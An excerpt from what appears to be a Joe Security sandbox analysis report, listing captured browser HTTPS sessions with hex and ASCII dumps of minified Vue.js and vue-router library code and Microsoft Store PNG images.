Data Ascii: {e.style.display=e.__vOriginalDisplay}):Ri(n,function(){e.style.display="none"})):e.style.display=r?e.__vOri
ginalDisplay:"none")},unbind:function(e,t,n,r,i){i||(e.style.display=e.__vOriginalDisplay)}}},eo={name:String,appear:Boo
lean,css:Boolean,mode:Strin

2022-05-13 14:40:11 UTC 644 IN Data Raw: 37 30 64 62 0d 0a 68 69 73 2e 6d 6f 64 65 2c 6f 3d 6e 5b 30 5d 3b 69 66 28 66 75 6e 63 74 69 6f 6e 28 65 29 
7b 66 6f 72 28 3b 65 3d 65 2e 70 61 72 65 6e 74 3b 29 69 66 28 65 2e 64 61 74 61 2e 74 72 61 6e 73 69 74 69 6f 6e 29 
72 65 74 75 72 6e 21 30 7d 28 74 68 69 73 2e 24 76 6e 6f 64 65 29 29 72 65 74 75 72 6e 20 6f 3b 76 61 72 20 61 3d 74 
6f 28 6f 29 3b 69 66 28 21 61 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 68 69 73 2e 5f 6c 65 61 76 69 6e 67 29 72 65 74 
75 72 6e 20 72 6f 28 65 2c 6f 29 3b 76 61 72 20 73 3d 22 5f 5f 74 72 61 6e 73 69 74 69 6f 6e 2d 22 2b 74 68 69 73 2e 5f 
75 69 64 2b 22 2d 22 3b 61 2e 6b 65 79 3d 6e 75 6c 6c 3d 3d 61 2e 6b 65 79 3f 61 2e 69 73 43 6f 6d 6d 65 6e 74 3f 73 2b 
22 63 6f 6d 6d 65 6e 74 22 3a 73 2b 61 2e 74 61 67 3a 69 28 61 
Data Ascii: 70dbhis.mode,o=n[0];if(function(e){for(;e=e.parent;)if(e.data.transition)return!0}(this.$vnode))return o;var 
a=to(o);if(!a)return o;if(this._leaving)return ro(e,o);var s="__transition-"+this._uid+"-";a.key=null==a.key?a.isComment?
s+"comment":s+a.tag:i(a

2022-05-13 14:40:11 UTC 648 IN Data Raw: 74 7d 7d 3b 76 61 72 20 79 6f 2c 67 6f 3d 7b 73 74 61 74 69 63 4b 65 79 73 3a 5b 22 73 74 61 74 69 63 53 74 
79 6c 65 22 5d 2c 74 72 61 6e 73 66 6f 72 6d 4e 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 2e 77 61 72 6e 
3b 76 61 72 20 6e 3d 46 72 28 65 2c 22 73 74 79 6c 65 22 29 3b 6e 26 26 28 65 2e 73 74 61 74 69 63 53 74 79 6c 65 3d 
4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 61 69 28 6e 29 29 29 3b 76 61 72 20 72 3d 49 72 28 65 2c 22 73 74 79 6c 
65 22 2c 21 31 29 3b 72 26 26 28 65 2e 73 74 79 6c 65 42 69 6e 64 69 6e 67 3d 72 29 7d 2c 67 65 6e 44 61 74 61 3a 66 
75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 22 3b 72 65 74 75 72 6e 20 65 2e 73 74 61 74 69 63 53 74 79 6c 
65 26 26 28 74 2b 3d 22 73 74 61 74 69 63 53 74 79 6c 65 3a 22 2b 65 
Data Ascii: t}};var yo,go={staticKeys:["staticStyle"],transformNode:function(e,t){t.warn;var n=Fr(e,"style");n&&(e.stati
cStyle=JSON.stringify(ai(n)));var r=Ir(e,"style",!1);r&&(e.styleBinding=r)},genData:function(e){var t="";return e.staticStyle&&
(t+="staticStyle:"+e

2022-05-13 14:40:11 UTC 653 IN Data Raw: 63 68 28 78 6f 29 7c 7c 65 2e 6d 61 74 63 68 28 43 6f 29 29 3b 29 72 2e 73 74 61 72 74 3d 63 2c 43 28 72 5b 
30 5d 2e 6c 65 6e 67 74 68 29 2c 72 2e 65 6e 64 3d 63 2c 69 2e 61 74 74 72 73 2e 70 75 73 68 28 72 29 3b 69 66 28 6e 
29 72 65 74 75 72 6e 20 69 2e 75 6e 61 72 79 53 6c 61 73 68 3d 6e 5b 31 5d 2c 43 28 6e 5b 30 5d 2e 6c 65 6e 67 74 68 
29 2c 69 2e 65 6e 64 3d 63 2c 69 7d 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 29 7b 76 61 72 20 6e 3d 65 2e 74 61 67 4e 
61 6d 65 2c 63 3d 65 2e 75 6e 61 72 79 53 6c 61 73 68 3b 6f 26 26 28 22 70 22 3d 3d 3d 72 26 26 77 6f 28 6e 29 26 26 
41 28 72 29 2c 73 28 6e 29 26 26 72 3d 3d 3d 6e 26 26 41 28 6e 29 29 3b 66 6f 72 28 76 61 72 20 75 3d 61 28 6e 29 7c 
7c 21 21 63 2c 6c 3d 65 2e 61 74 74 72 73 2e 6c 65 6e 67 74 68 2c 66 3d 
Data Ascii: ch(xo)||e.match(Co));)r.start=c,C(r[0].length),r.end=c,i.attrs.push(r);if(n)return i.unarySlash=n[1],C(n[0].length),i.
end=c,i}}function k(e){var n=e.tagName,c=e.unarySlash;o&&("p"===r&&wo(n)&&A(r),s(n)&&r===n&&A(n));for(var u=a(
n)||!!c,l=e.attrs.length,f=

2022-05-13 14:40:11 UTC 657 IN Data Raw: 69 73 22 29 29 26 26 28 65 2e 63 6f 6d 70 6f 6e 65 6e 74 3d 74 29 3b 6e 75 6c 6c 21 3d 46 72 28 65 2c 22 69 
6e 6c 69 6e 65 2d 74 65 6d 70 6c 61 74 65 22 29 26 26 28 65 2e 69 6e 6c 69 6e 65 54 65 6d 70 6c 61 74 65 3d 21 30 29 
7d 28 65 29 3b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 7a 6f 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 65 3d 7a 6f 5b 69 5d 
28 65 2c 74 29 7c 7c 65 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 2c 72 2c 69 
2c 6f 2c 61 2c 73 2c 63 2c 75 3d 65 2e 61 74 74 72 73 4c 69 73 74 3b 66 6f 72 28 74 3d 30 2c 6e 3d 75 2e 6c 65 6e 67 74 
68 3b 74 3c 6e 3b 74 2b 2b 29 69 66 28 72 3d 69 3d 75 5b 74 5d 2e 6e 61 6d 65 2c 6f 3d 75 5b 74 5d 2e 76 61 6c 75 65 
2c 47 6f 2e 74 65 73 74 28 72 29 29 69 66 28 65 2e 68 61 73 42 69 
Data Ascii: is"))&&(e.component=t);null!=Fr(e,"inline-template")&&(e.inlineTemplate=!0)}(e);for(var i=0;i<zo.length;i++)
e=zo[i](e,t)||e;return function(e){var t,n,r,i,o,a,s,c,u=e.attrsList;for(t=0,n=u.length;t<n;t++)if(r=i=u[t].name,o=u[t].value,Go.t
est(r))if(e.hasBi

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:11 UTC 661 IN Data Raw: 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 2e 76 61 6c 
75 65 26 26 45 72 28 65 2c 22 74 65 78 74 43 6f 6e 74 65 6e 74 22 2c 22 5f 73 28 22 2b 74 2e 76 61 6c 75 65 2b 22 29 
22 2c 74 29 7d 2c 68 74 6d 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 2e 76 61 6c 75 65 26 26 45 72 28 65 2c 
22 69 6e 6e 65 72 48 54 4d 4c 22 2c 22 5f 73 28 22 2b 74 2e 76 61 6c 75 65 2b 22 29 22 2c 74 29 7d 7d 2c 69 73 50 72 6
5 54 61 67 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 70 72 65 22 3d 3d 3d 65 7d 2c 69 73 55 6e 61 
72 79 54 61 67 3a 62 6f 2c 6d 75 73 74 55 73 65 50 72 6f 70 3a 6a 6e 2c 63 61 6e 42 65 4c 65 66 74 4f 70 65 6e 54 61 67 
3a 24 6f 2c 69 73 52 65 73 65 72 76 65 64 54 61 67 3a 57 6e 2c 67 65 
Data Ascii: 1;return!0},text:function(e,t){t.value&&Er(e,"textContent","_s("+t.value+")",t)},html:function(e,t){t.value&
&Er(e,"innerHTML","_s("+t.value+")",t)}},isPreTag:function(e){return"pre"===e},isUnaryTag:bo,mustUseProp:jn,ca
nBeLeftOpenTag:$o,isReservedTag:Wn,ge

2022-05-13 14:40:11 UTC 665 IN Data Raw: 6e 63 74 69 6f 6e 20 50 61 28 65 2c 74 29 7b 76 61 72 20 6e 3d 6e 65 77 20 46 61 28 74 29 3b 72 65 74 75 72 
6e 7b 72 65 6e 64 65 72 3a 22 77 69 74 68 28 74 68 69 73 29 7b 72 65 74 75 72 6e 20 22 2b 28 65 3f 52 61 28 65 2c 6e 
29 3a 27 5f 63 28 22 64 69 76 22 29 27 29 2b 22 7d 22 2c 73 74 61 74 69 63 52 65 6e 64 65 72 46 6e 73 3a 6e 2e 73 74 
61 74 69 63 52 65 6e 64 65 72 46 6e 73 7d 7d 66 75 6e 63 74 69 6f 6e 20 52 61 28 65 2c 74 29 7b 69 66 28 65 2e 70 61 
72 65 6e 74 26 26 28 65 2e 70 72 65 3d 65 2e 70 72 65 7c 7c 65 2e 70 61 72 65 6e 74 2e 70 72 65 29 2c 65 2e 73 74 61 
74 69 63 52 6f 6f 74 26 26 21 65 2e 73 74 61 74 69 63 50 72 6f 63 65 73 73 65 64 29 72 65 74 75 72 6e 20 48 61 28 65 2c 
74 29 3b 69 66 28 65 2e 6f 6e 63 65 26 26 21 65 2e 6f 6e 63 65 50 72 
Data Ascii: nction Pa(e,t){var n=new Fa(t);return{render:"with(this){return "+(e?Ra(e,n):'_c("div")')+"}",staticRenderFn
s:n.staticRenderFns}}function Ra(e,t){if(e.parent&&(e.pre=e.pre||e.parent.pre),e.staticRoot&&!e.staticProcessed)return H
a(e,t);if(e.once&&!e.oncePr

2022-05-13 14:40:11 UTC 669 IN Data Raw: 72 26 26 21 65 2e 66 6f 72 50 72 6f 63 65 73 73 65 64 29 72 65 74 75 72 6e 20 7a 61 28 65 2c 74 2c 4a 61 29 
3b 76 61 72 20 72 3d 65 2e 73 6c 6f 74 53 63 6f 70 65 3d 3d 3d 63 61 3f 22 22 3a 53 74 72 69 6e 67 28 65 2e 73 6c 6f 74 
53 63 6f 70 65 29 2c 69 3d 22 66 75 6e 63 74 69 6f 6e 28 22 2b 72 2b 22 29 7b 72 65 74 75 72 6e 20 22 2b 28 22 74 65 
6d 70 6c 61 74 65 22 3d 3d 3d 65 2e 74 61 67 3f 65 2e 69 66 26 26 6e 3f 22 28 22 2b 65 2e 69 66 2b 22 29 3f 22 2b 28 
71 61 28 65 2c 74 29 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 29 2b 22 3a 75 6e 64 65 66 69 6e 65 64 22 3a 71 61 28 65 
2c 74 29 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3a 52 61 28 65 2c 74 29 29 2b 22 7d 22 2c 6f 3d 72 3f 22 22 3a 22 2c 
70 72 6f 78 79 3a 74 72 75 65 22 3b 72 65 74 75 72 6e 22 7b 6b 65 79 
Data Ascii: r&&!e.forProcessed)return za(e,t,Ja);var r=e.slotScope===ca?"":String(e.slotScope),i="function("+r+"){return "+
("template"===e.tag?e.if&&n?"("+e.if+")?"+(qa(e,t)||"undefined")+":undefined":qa(e,t)||"undefined":Ra(e,t))+"}",o=r?"
":",proxy:true";return"{key

2022-05-13 14:40:11 UTC 673 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

29 192.168.2.3 49744 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:11 UTC 573 OUT GET /image/apps.38957.9007199266246761.3059e916-5e99-4797-a868-366cc8761e37.dcc9368c-4c77-41a2-b867-
8514435d8418?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:11 UTC 593 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 6817
Content-Type: image/png
Last-Modified: Tue, 14 Apr 2020 05:45:04 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdFMDM2RkI0ODg5NDc"
MS-CV: bCGuztwPnUek/bb+.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:11 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:11 UTC 594 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
1a 68 49 44 41 54 78 da ed 9d 09 90 14 55 7f c0 ff dd 33 7b ef 22 20 c7 82 20 2c 2c 97 26 0a cb a1 7c 0a 02 6a b4 ac a0 
84 2a 8f 24 a5 96 1a 53 65 8c b1 2a a5 96 1a 8d fa 79 a6 ac a0 49 79 90 f2 3e 62 7d 9f 02 2a 11 54 08 c7 67 e4 58 81 15 
39 96 65 97 73 dd 03 56 dc 5d 96 3d 67 a6 fb e5 bd 9e ee 99 37 6f de eb ee 99 9d d9 e9 59 df ab 6a fa 60 76 a6 a7 df 6f 
fe f7 7b 4f 41 08 81 6c b2 25 da 54 f9 08 64 93 e0 c8 26 c1 91 4d 82 23 9b 04 47 36 d9 24 38 b2 49 70 64 93 e0 c8 26 c1 
91 4d 82 23 9b 6c 12 1c d9 24 38 b2 49 70 64 93 e0 c8 26 c1 91 4d 36 09 8e 6c 12 1c d9 24 38 b2 49 70 64 93 e0 c8 26 
9b 04 47 36 09 8e 6c 12 1c d9 b2 b7 f9 7f 2b 5f 54 c1 2d d3 f7 
Data Ascii: PNGIHDR0hIDATxU3{"  ,,&|j*$Se*yIy>b}*TgX9esV]=g7oYj`vo{OAl%Td&M#G6$8Ipd&M#l$8Ipd&M6l$8Ip
d&G6l+_T-

Session ID Source IP Source Port Destination IP
Destination
Port

Process

3 192.168.2.3 49706 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:56 UTC 57 OUT GET /image/apps.15881.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.bcf361e4-21f7-429d-877a-
6c55c1b655ff?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:39:56 UTC 63 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 3995
Content-Type: image/png
Last-Modified: Thu, 31 Mar 2022 05:44:11 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REExMkQ5N0I1NEZGNzY"
MS-CV: j3ZlnqhXhku72AJi.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:56 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:56 UTC 63 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 
02 f7 50 4c 54 45 47 70 4c 1b 9d e1 1b 9d e2 1a 9b e1 19 99 de 19 96 dc 18 93 da 18 91 d7 16 8e d5 15 8c d3 15 89 cf 
15 86 cd 14 85 cc 14 85 cb 0f 7f c7 1a 9c e2 1b 9d e2 1a 9c e1 1a 9b e0 1a 9a df 1a 99 df 19 98 de 19 97 dd 19 98 dd 19 
97 dc 19 96 db 18 95 db 18 94 da 18 93 d9 18 92 d8 18 91 d7 18 90 d6 17 8f d6 17 8f d5 17 8f d5 17 8e d5 17 8d d4 17 8d 
d3 16 8c d3 16 8b d2 16 8a d1 15 89 d0 15 87 ce 15 88 cf 15 86 cd 16 87 ce 15 85 cc 14 85 cc 14 84 cb 15 84 cb 14 82 c
a 18 95 db 18 95 da 18 94 d9 17 90 d6 18 8f d5 15 87 cf 16 88 cf 14 83 cc 14 83 ca 16 65 a2 1a 9c e1 17 91 d7 14 82 ca 
14 82 ca 14 82 c9 15 8a d1 16 8b d1 14 81 c8 13 80 c8 13 80 c8 13 
Data Ascii: PNGIHDR,,N~GPLTEGpLe

Session ID Source IP Source Port Destination IP
Destination
Port

Process

30 192.168.2.3 49747 104.16.126.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:11 UTC 673 OUT GET /vue-router@2.7.0/dist/vue-router.min.js HTTP/1.1
Host: unpkg.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:11 UTC 673 IN HTTP/1.1 200 OK
Date: Fri, 13 May 2022 14:40:11 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
access-control-allow-origin: *
cache-control: public, max-age=31536000
last-modified: Thu, 29 Jun 2017 03:57:37 GMT
etag: W/"5c5a-b2+xvLVNqK43WHk3Czwf1BAXaoI"
via: 1.1 fly.io
fly-request-id: 01FWQ5XYCTH53G5B7V60YK0RCD-fra
CF-Cache-Status: HIT
Age: 6702361
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
Server: cloudflare
CF-RAY: 70ac25d6a8149a2f-FRA

2022-05-13 14:40:11 UTC 674 IN Data Raw: 31 34 36 65 0d 0a 2f 2a 2a 0a 20 20 2a 20 76 75 65 2d 72 6f 75 74 65 72 20 76 32 2e 37 2e 30 0a 20 20 2a 20 
28 63 29 20 32 30 31 37 20 45 76 61 6e 20 59 6f 75 0a 20 20 2a 20 40 6c 69 63 65 6e 73 65 20 4d 49 54 0a 20 20 2a 2f 
0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 
26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 
72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 
6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 65 29 3a 74 2e 56 75 65 52 6f 75 74 65 72 3d 65 28 29 7d 28 74 68 69 73 2c 6
6 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 
Data Ascii: 146e/**  * vue-router v2.7.0  * (c) 2017 Evan You  * @license MIT  */!function(t,e){"object"==typeof exports
&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):t.VueRouter=e()}
(this,function(){"use strict

Copyright Joe Security LLC 2022 Page 153 of 286



2022-05-13 14:40:11 UTC 674 IN Data Raw: 5e 28 5c 3f 7c 23 7c 26 29 2f 2c 22 22 29 29 3f 28 74 2e 73 70 6c 69 74 28 22 26 22 29 2e 66 6f 72 45 61 63 
68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 72 3d 74 2e 72 65 70 6c 61 63 65 28 2f 5c 2b 2f 67 2c 22 20 22 29 
2e 73 70 6c 69 74 28 22 3d 22 29 2c 6e 3d 24 74 28 72 2e 73 68 69 66 74 28 29 29 2c 6f 3d 72 2e 6c 65 6e 67 74 68 3e 
30 3f 24 74 28 72 2e 6a 6f 69 6e 28 22 3d 22 29 29 3a 6e 75 6c 6c 3b 76 6f 69 64 20 30 3d 3d 3d 65 5b 6e 5d 3f 65 5b 6e 
5d 3d 6f 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 5b 6e 5d 29 3f 65 5b 6e 5d 2e 70 75 73 68 28 6f 29 3a 65 5b 
6e 5d 3d 5b 65 5b 6e 5d 2c 6f 5d 7d 29 2c 65 29 3a 65 7d 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 76 61 72 20 65 3d 7
4 3f 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 6d 61 70 28 66 
Data Ascii: ^(\?|#|&)/,""))?(t.split("&").forEach(function(t){var r=t.replace(/\+/g," ").split("="),n=$t(r.shift()),o=r.length>0?$
t(r.join("=")):null;void 0===e[n]?e[n]=o:Array.isArray(e[n])?e[n].push(o):e[n]=[e[n],o]}),e):e}function i(t){var e=t?Obj
ect.keys(t).map(f

2022-05-13 14:40:11 UTC 676 IN Data Raw: 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 6e 3d 74 5b 72 5d 2c 6f 3d 65 5b 72 5d 3b 72 65 74 75 72 6e 22 6f 
62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6e 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6f 3f 70 28 6e 
2c 6f 29 3a 53 74 72 69 6e 67 28 6e 29 3d 3d 3d 53 74 72 69 6e 67 28 6f 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 
74 2c 65 29 7b 72 65 74 75 72 6e 20 30 3d 3d 3d 74 2e 70 61 74 68 2e 72 65 70 6c 61 63 65 28 53 74 2c 22 2f 22 29 2e 
69 6e 64 65 78 4f 66 28 65 2e 70 61 74 68 2e 72 65 70 6c 61 63 65 28 53 74 2c 22 2f 22 29 29 26 26 28 21 65 2e 68 61 7
3 68 7c 7c 74 2e 68 61 73 68 3d 3d 3d 65 2e 68 61 73 68 29 26 26 68 28 74 2e 71 75 65 72 79 2c 65 2e 71 75 65 72 79 
29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 74 2c 65 29 7b 66 6f 72 28 76 
Data Ascii: nction(r){var n=t[r],o=e[r];return"object"==typeof n&&"object"==typeof o?p(n,o):String(n)===String(o)})}function 
f(t,e){return 0===t.path.replace(St,"/").indexOf(e.path.replace(St,"/"))&&(!e.hash||t.hash===e.hash)&&h(t.query,e.q
uery)}function h(t,e){for(v

2022-05-13 14:40:11 UTC 677 IN Data Raw: 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 72 6f 75 74 65 72 52 6f 6f 74 2e 5f 72 6f 75 74 65 7d 7d 29 2c 74 2e 63 
6f 6d 70 6f 6e 65 6e 74 28 22 72 6f 75 74 65 72 2d 76 69 65 77 22 2c 43 74 29 2c 74 2e 63 6f 6d 70 6f 6e 65 6e 74 28 22 
72 6f 75 74 65 72 2d 6c 69 6e 6b 22 2c 55 74 29 3b 76 61 72 20 6e 3d 74 2e 63 6f 6e 66 69 67 2e 6f 70 74 69 6f 6e 4d 65 
72 67 65 53 74 72 61 74 65 67 69 65 73 3b 6e 2e 62 65 66 6f 72 65 52 6f 75 74 65 45 6e 74 65 72 3d 6e 2e 62 65 66 6f 
72 65 52 6f 75 74 65 4c 65 61 76 65 3d 6e 2e 62 65 66 6f 72 65 52 6f 75 74 65 55 70 64 61 74 65 3d 6e 2e 63 72 65 61 
74 65 64 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 74 2c 65 2c 72 29 7b 76 61 72 20 6e 3d 74 2e 63 68 61 72 41 74 28 30 
29 3b 69 66 28 22 2f 22 3d 3d 3d 6e 29 72 65 74 75 72 6e 20 74 
Data Ascii: return this._routerRoot._route}}),t.component("router-view",Ct),t.component("router-link",Ut);var n=t.config
.optionMergeStrategies;n.beforeRouteEnter=n.beforeRouteLeave=n.beforeRouteUpdate=n.created}}function v(t,e,r){var 
n=t.charAt(0);if("/"===n)return t

2022-05-13 14:40:11 UTC 678 IN Data Raw: 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 25 22 2b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 30 
29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 
20 6b 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 65 77 20 41 72 72 61 79 28 74 2e 6c 65 6e 67 74 68 29 2c 72 3d 30 
3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 5b 72 5d 26 26 2
8 65 5b 72 5d 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 22 2b 74 5b 72 5d 2e 70 61 74 74 65 72 6e 2b 22 29 
24 22 29 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 72 2c 6e 29 7b 66 6f 72 28 76 61 72 20 6f 3d 22 22 2c 
69 3d 72 7c 7c 7b 7d 2c 61 3d 28 6e 7c 7c 7b 7d 29 2e 70 72 65 74 74 79 
Data Ascii: function(t){return"%"+t.charCodeAt(0).toString(16).toUpperCase()})}function k(t){for(var e=new Array(t.lengt
h),r=0;r<t.length;r++)"object"==typeof t[r]&&(e[r]=new RegExp("^(?:"+t[r].pattern+")$"));return function(r,n){for(var o="",i=r||
{},a=(n||{}).pretty

2022-05-13 14:40:11 UTC 679 IN Data Raw: 34 37 65 63 0d 0a 74 65 64 20 22 27 2b 63 2e 6e 61 6d 65 2b 27 22 20 74 6f 20 62 65 20 64 65 66 69 6e 65 
64 27 29 7d 69 66 28 49 74 28 70 29 29 7b 69 66 28 21 63 2e 72 65 70 65 61 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 
70 65 45 72 72 6f 72 28 27 45 78 70 65 63 74 65 64 20 22 27 2b 63 2e 6e 61 6d 65 2b 27 22 20 74 6f 20 6e 6f 74 20 72 6
5 70 65 61 74 2c 20 62 75 74 20 72 65 63 65 69 76 65 64 20 60 27 2b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 70 
29 2b 22 60 22 29 3b 69 66 28 30 3d 3d 3d 70 2e 6c 65 6e 67 74 68 29 7b 69 66 28 63 2e 6f 70 74 69 6f 6e 61 6c 29 63 6f 
6e 74 69 6e 75 65 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 45 78 70 65 63 74 65 64 20 22 27 
2b 63 2e 6e 61 6d 65 2b 27 22 20 74 6f 20 6e 6f 74 20 62 65 20 65 6d 70 
Data Ascii: 47ected "'+c.name+'" to be defined')}if(It(p)){if(!c.repeat)throw new TypeError('Expected "'+c.name+'" to not 
repeat, but received `'+JSON.stringify(p)+"`");if(0===p.length){if(c.optional)continue;throw new TypeError('Expected "
'+c.name+'" to not be emp

2022-05-13 14:40:11 UTC 680 IN Data Raw: 3a 22 2b 75 2e 70 61 74 74 65 72 6e 2b 22 29 22 3b 65 2e 70 75 73 68 28 75 29 2c 75 2e 72 65 70 65 61 74 
26 26 28 73 2b 3d 22 28 3f 3a 22 2b 63 2b 73 2b 22 29 2a 22 29 2c 69 2b 3d 73 3d 75 2e 6f 70 74 69 6f 6e 61 6c 3f 75 2e 
70 61 72 74 69 61 6c 3f 63 2b 22 28 22 2b 73 2b 22 29 3f 22 3a 22 28 3f 3a 22 2b 63 2b 22 28 22 2b 73 2b 22 29 29 3f 22 
3a 63 2b 22 28 22 2b 73 2b 22 29 22 7d 7d 76 61 72 20 70 3d 52 28 72 2e 64 65 6c 69 6d 69 74 65 72 7c 7c 22 2f 22 29 
2c 66 3d 69 2e 73 6c 69 63 65 28 2d 70 2e 6c 65 6e 67 74 68 29 3d 3d 3d 70 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 69 3d 
28 66 3f 69 2e 73 6c 69 63 65 28 30 2c 2d 70 2e 6c 65 6e 67 74 68 29 3a 69 29 2b 22 28 3f 3a 22 2b 70 2b 22 28 3f 3d 24 
29 29 3f 22 29 2c 69 2b 3d 6f 3f 22 24 22 3a 6e 26 26 66 3f 22 22 
Data Ascii: :"+u.pattern+")";e.push(u),u.repeat&&(s+="(?:"+c+s+")*"),i+=s=u.optional?u.partial?c+"("+s+")?":"(?:"+c+"("+
s+"))?":c+"("+s+")"}}var p=R(r.delimiter||"/"),f=i.slice(-p.length)===p;return n||(i=(f?i.slice(0,-p.length):i)+"(?:"+p+"(?=$))?")
,i+=o?"$":n&&f?""

2022-05-13 14:40:11 UTC 681 IN Data Raw: 75 73 68 28 70 2e 70 61 74 68 29 2c 65 5b 70 2e 70 61 74 68 5d 3d 70 29 2c 75 26 26 28 72 5b 75 5d 7c 7c 
28 72 5b 75 5d 3d 70 29 29 7d 66 75 6e 63 74 69 6f 6e 20 50 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4d 74 28 74 2c 5b 
5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 55 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 3d 74 2e 72 65 70 6c 61 63 65 2
